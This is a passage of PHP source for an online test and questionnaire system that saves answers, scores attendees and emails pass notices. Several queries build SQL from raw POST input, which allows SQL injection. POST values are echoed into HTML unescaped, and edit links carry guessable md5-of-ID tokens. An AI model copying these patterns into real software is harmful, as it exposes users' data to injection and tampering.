Questions.IsOptional=0"; $rec = mysqli_query($conni_orange, $sql); $EmailAddress = ""; if ($row = mysqli_fetch_assoc($rec)) $EmailAddress = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; $sql = "SELECT Questions.Question_ID, Answers.Answer_ID FROM Questions JOIN Answers USING (Question_ID) " . "WHERE Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Questions.Question LIKE '%ID Number%' " . "AND Questions.IsOptional=0"; $rec = mysqli_query($conni_orange, $sql); $DuplicateIdentifier = ""; if ($row = mysqli_fetch_assoc($rec)) $DuplicateIdentifier = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; ?> <h1><?php if (!empty($sLogo)) echo $sLogo; echo htmlspecialchars($Questionnaire_Name); ?></h1> <?php $sql = "SELECT * FROM AnonRespondees " . "WHERE Questionnaire_ID=" . $Questionnaire_ID . " " . "AND GroupID=" . $GroupID . " " . "AND (Anon_Respondee_Email='" . addslashes($EmailAddress) . "' " . "OR Unique_ID='" . addslashes($DuplicateIdentifier) . "') " . "AND InterimSave=0"; $rec = mysqli_query($conni_orange, $sql); if (($_POST["go"] == 1) && (mysqli_num_rows($rec) > 100)) { ?> <p><b>We already have 3 saved tests with your email address or ID number, and cannot save another one.</b></p> <?php } else { if (isset($_POST["rid"]) && !empty($_POST["rid"])) { $iRespondeeID = intval($_POST["rid"]); $sql = "UPDATE AnonRespondees SET Anon_Respondee_Name='" . addslashes($RespondeeName) . "', " . "Anon_Respondee_Email='" . addslashes($EmailAddress) . "', " . "Unique_ID='" . addslashes($DuplicateIdentifier) . "', " . "Response_Date='" . date("Y-m-d H:i:s") . "', " . "IPAddress='" . $_SERVER['REMOTE_ADDR'] . "' " . "WHERE Anon_RespondeeID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); $sql = "DELETE FROM Anon_User_Answers WHERE Respondee_ID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); } else { $iInterim = 0; if ($_POST["go"] == 2) $iInterim = 1; $sql = "INSERT INTO AnonRespondees " . "(Anon_Respondee_Name, Anon_Respondee_Email, Unique_ID, Questionnaire_ID, GroupID, Response_Date, IPAddress, InterimSave) " . "VALUES " . "('" . addslashes($RespondeeName) . "', '" . addslashes($EmailAddress) . "', '" . addslashes($DuplicateIdentifier) . "', " . $Questionnaire_ID . ", " . $GroupID . ", '" . date("Y-m-d H:i:s") . "', '" . $_SERVER['REMOTE_ADDR'] . "', " . $iInterim . ")"; mysqli_query($conni_orange, $sql); $iRespondeeID = mysqli_insert_id($conni_orange); } $sql = "INSERT INTO Anon_User_Answers (GroupID, Questionnaire_ID, Question_ID, Respondee_ID, AnonCompanyID, Answer_ID) " . "SELECT " . $GroupID . ", " . $Questionnaire_ID . ", Question_ID, " . $iRespondeeID . ", 0 AS AnonCompanyID, 0 AS Answer_ID " . "FROM Questions " . "WHERE Questionnaire_ID=" . $Questionnaire_ID . " AND Question_ID IN (" . addslashes($_POST["QuestionIDs"]) . ")"; ErrorLog::logInfo('Inserting answers: ' . $sql); mysqli_query($conni_orange, $sql); $sql = "SELECT Questions.IsMulti, Questions.Answer_Type, Answers.* " . "FROM Answers " . "JOIN Questions USING (Question_ID) " . "WHERE Questions.Questionnaire_ID='" . $Questionnaire_ID . "' " . "AND Questions.Question_ID IN (" . addslashes($_POST["QuestionIDs"]) . ")"; // echo $sql; $rec = mysqli_query($conni_orange, $sql); $User_Score = 0; if ($rec) { while ($row = mysqli_fetch_assoc($rec)) { if (empty($row["Answer"])) { // This is a free text answer $sTextAnswer = ""; if (isset($_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]])) { $sTextAnswer = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; } else { if (isset($_POST["Question_" . $row["Question_ID"]])) { $sTextAnswer = $_POST["Question_" . $row["Question_ID"]]; } } $sql = "UPDATE Anon_User_Answers SET Answer_ID=" . $row["Answer_ID"] . ", Answer_Text='" . addslashes($sTextAnswer) . "' " . "WHERE GroupID=" . $GroupID . " AND Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Question_ID=" . $row["Question_ID"] . " " . "AND Respondee_ID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); } elseif ($row["IsMulti"] == 1) { if (isset($_POST["Question_" . $row["Question_ID"]])) { $sAnswer = implode(",", $_POST["Question_" . $row["Question_ID"]]); // $sql = "INSERT INTO Anon_User_Answers (GroupID, Questionnaire_ID, Question_ID, Answer_ID, Answer_Text, // Respondee_ID) VALUES (".$GroupID.", ".$Questionnaire_ID.", ".$row["Question_ID"].", ".$row["Answer_ID"].", // '".$sAnswer."', ".$iRespondeeID.")"; $sql = "UPDATE Anon_User_Answers SET Answer_ID=" . $row["Answer_ID"] . ", Answer_Text='" . $sAnswer . "' " . "WHERE GroupID=" . $GroupID . " AND Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Question_ID=" . $row["Question_ID"] . " " . "AND Respondee_ID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); } } else { if ($_POST["Question_" . $row["Question_ID"]] == $row["Answer_ID"]) { if (isset($_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]) && !empty($_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]])) { $sTextAnswer = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; } else { $sTextAnswer = ''; } $sql = "INSERT INTO Anon_User_Answers (GroupID, Questionnaire_ID, Question_ID, Answer_ID, Respondee_ID, Answer_Text) " . "VALUES (" . $GroupID . ", " . $Questionnaire_ID . ", " . $row["Question_ID"] . ", " . $_POST["Question_" . $row["Question_ID"]] . ", " . $iRespondeeID . ", " . "'" . addslashes($sTextAnswer) . "')"; $sql = "UPDATE Anon_User_Answers SET Answer_ID=" . $row["Answer_ID"] . ", Answer_Text='" . $sTextAnswer . "' " . "WHERE GroupID=" . $GroupID . " AND Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Question_ID=" . $row["Question_ID"] . " " . "AND Respondee_ID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); } } } //while questions } if ($_POST["go"] == 1) { ?> <p> <h1>Results</h1> </p> <?php if ($HasScore == 1) { $iSumScore = 0; $sql = "SELECT SUM(Answers.Answer_Score) AS SumScore FROM Questions, Answers, Anon_User_Answers " . "WHERE Questions.Question_ID=Answers.Question_ID " . "AND Answers.`Answer_ID`=Anon_User_Answers.`Answer_ID` " . "AND Questions.IsMulti=0 " . "AND Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Anon_User_Answers.Respondee_ID=" . $iRespondeeID; //echo $sql; $rec = mysqli_query($conni_orange, $sql); if ($row = mysqli_fetch_assoc($rec)) { $iSumScore = $row["SumScore"]; } $sql = "SELECT Anon_User_Answers.Answer_Text FROM Questions, Anon_User_Answers " . "WHERE Questions.Question_ID=Anon_User_Answers.Question_ID " . "AND Questions.IsMulti=1 " . "AND Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Anon_User_Answers.Respondee_ID=" . $iRespondeeID; //echo $sql; $rec = mysqli_query($conni_orange, $sql); while ($row = mysqli_fetch_assoc($rec)) { if (!empty($row["Answer_Text"])) { $sql = "SELECT SUM(Answers.Answer_Score) AS SumScore FROM Answers WHERE Answer_ID IN (" . $row["Answer_Text"] . ")"; $rec2 = mysqli_query($conni_orange, $sql); if ($row2 = mysqli_fetch_assoc($rec2)) { $iSumScore += $row2["SumScore"]; } mysqli_free_result($rec2); } } if ($Questionnaire_ID == 318) { ?> <p> <h4>Please see the correct answers below.</h4> </p> <?php $questionsSQL = "SELECT * FROM Questions WHERE Questionnaire_ID=" . $Questionnaire_ID . " ORDER BY Display_Order"; $recQuestions = mysqli_query($conni_orange, $questionsSQL); while ($rowQuestions = mysqli_fetch_assoc($recQuestions)) { ?> <p> <b><?php echo $rowQuestions["Question"]; ?></b> </p> <?php $sql = "SELECT * FROM Answers WHERE Question_ID=" . $rowQuestions["Question_ID"] . " ORDER BY Display_Order"; $recAnswers = mysqli_query($conni_orange, $sql); while ($rowAnswers = mysqli_fetch_assoc($recAnswers)) { ?> <p> <?php echo $rowAnswers["Answer"]; if ($rowAnswers["Answer_Score"] > 0) { echo " <b>(Correct)</b>"; } echo $_POST["Question_" . $rowQuestions["Question_ID"] . "_" . $rowAnswers["Answer_ID"]] . ' '; if ( isset($_POST["Question_" . $rowQuestions["Question_ID"]]) && !empty($_POST["Question_" . $rowQuestions["Question_ID"]]) && $_POST["Question_" . $rowQuestions["Question_ID"]] == $rowAnswers["Answer_ID"] ) { echo " <b>(Your answer)</b>"; } ?> </p> <?php } } } $sql = "UPDATE AnonRespondees SET InterimSave=0, Score=" . $iSumScore . " WHERE Anon_RespondeeID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); $PercScore = intval($iSumScore) / $Score * 100; $iAttendeeID = 0; if (!empty($DuplicateIdentifier)) { $sql = "SELECT * FROM `SchoolEvents` JOIN SchoolAttendees USING (EventID) WHERE SchoolEvents.`TestRequired`=1 AND SchoolEvents.`QuestionnaireID`=" . $Questionnaire_ID . " AND SchoolEvents.EventID=" . $GroupID . " AND REPLACE(SchoolAttendees.`IDNumber`, ' ','')='" . str_replace(' ', '', $DuplicateIdentifier) . "'"; $recA = mysqli_query($conni_orange, $sql); if (mysqli_num_rows($recA) == 1) { $rowA = mysqli_fetch_assoc($recA); $iAttendeeID = $rowA["AttendeeID"]; } } if (empty($iAttendeeID)) { $sql = "SELECT * FROM `SchoolEvents` JOIN SchoolAttendees USING (EventID) WHERE SchoolEvents.`TestRequired`=1 AND SchoolEvents.`QuestionnaireID`=" . $Questionnaire_ID . " AND SchoolEvents.EventID=" . $GroupID . " AND LOWER(SchoolAttendees.`EmailAddress`)='" . addslashes(strtolower($EmailAddress)) . "'"; $recA = mysqli_query($conni_orange, $sql); if (mysqli_num_rows($recA) == 1) { $rowA = mysqli_fetch_assoc($recA); $iAttendeeID = $rowA["AttendeeID"]; } } if (empty($iAttendeeID)) { $sql = "SELECT * FROM `SchoolEvents` JOIN SchoolAttendees USING (EventID) WHERE SchoolEvents.`TestRequired`=1 AND SchoolEvents.`QuestionnaireID`=" . $Questionnaire_ID . " AND SchoolEvents.EventID=" . $GroupID . " AND LOWER(SchoolAttendees.ContactLastName)='" . addslashes(strtolower($sSurname)) . "' AND LOWER(SchoolAttendees.`ContactFirstName`)='" . addslashes(strtolower($sFirstName)) . "'"; $recA = mysqli_query($conni_orange, $sql); if (mysqli_num_rows($recA) == 1) { $rowA = mysqli_fetch_assoc($recA); $iAttendeeID = $rowA["AttendeeID"]; } } if (!empty($iAttendeeID)) { $sql = "UPDATE SchoolAttendees SET SchoolAttendees.`TestCompleted` = 1, CertificateSent = NULL " . "WHERE SchoolAttendees.AttendeeID=" . $iAttendeeID; mysqli_query($conni_orange, $sql); $sql = "UPDATE AnonRespondees SET SchoolAttendeeID=" . $iAttendeeID . " WHERE Anon_RespondeeID=" . $iRespondeeID; mysqli_query($conni_orange, $sql); if ($PercScore >= $PassPerc) { $sql = "UPDATE SchoolAttendees SET SchoolAttendees.`TestPassed` = 1, CertificateSent = NULL WHERE SchoolAttendees.AttendeeID=" . $iAttendeeID; mysqli_query($conni_orange, $sql); $sql = "SELECT SchoolEvents.`EventName`, SchoolEvents.`StartDate`, SchoolAttendees.`ContactFirstName`, " . "SchoolAttendees.`ContactLastName` " . "FROM SchoolEvents JOIN SchoolAttendees USING (EventID) WHERE SchoolAttendees.`AttendeeID`=" . $iAttendeeID; $recAttendeeName = mysqli_query($conni_orange, $sql); if ($rowAttendeeName = mysqli_fetch_assoc($recAttendeeName)) { $sCourse = $rowAttendeeName["EventName"]; $sAttendeeName = $rowAttendeeName["ContactFirstName"] . " " . $rowAttendeeName["ContactLastName"]; $messageText = "Test passed on " . date("Y-m-d") . " with score " . number_format($PercScore, 0) . "%\r\n" . "Course: " . $sCourse . "\r\n" . "Start date: " . $rowAttendeeName["StartDate"] . "\r\n" . "Attendee: " . $sAttendeeName; maill( "athromethm@cesa.co.za,blessings@cesa.co.za", $sCourse . " test passed by " . $sAttendeeName, $messageText, null, array('from-name' => 'CESA SCE', 'from-address' => 'sce@cesa.co.za') ); } } } ?> <p><b>Your score: <?php echo number_format($PercScore, 0); ?>%</b></p> <?php if ($PercScore >= $PassPerc) { echo $GoodResultText; } else { echo $BadResultText; } } if ($Questionnaire_ID != 318) { ?> <p> <a href="/questionnaire.php?rid=<?php echo $iRespondeeID; ?>&chk=<?php echo md5($iRespondeeID); ?>">Click here to complete the survey, if you are not redirected automatically.</a> </p> <script language="javascript"> setTimeout(function() { window.location.href = "/questionnaire.php?qid=225&id=<?php echo $GroupID; ?>&attendeeId=<?php echo $iAttendeeID; ?>&chk=<?php echo md5($iAttendeeID); ?>"; }, 5000); </script> <?php } } else { $editlink = "https://www.cesa.co.za/test.php?rid=" . $iRespondeeID . "&chk=" . md5($iRespondeeID); ?> <p> <h1>Answers Saved</h1> </p> <p>Your answers have been saved, please save the link below to return to your test and complete it:</p> <p><a href="<?php echo $editlink; ?>" target="_blank"><?php echo $editlink; ?></a></p> <?php } } ?> <p> </p> <p> </p> </div> </div> </div> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </body> </html> <?php //TODO Close all mysql connections mysqli_close($conni_orange); mysqli_close($conni);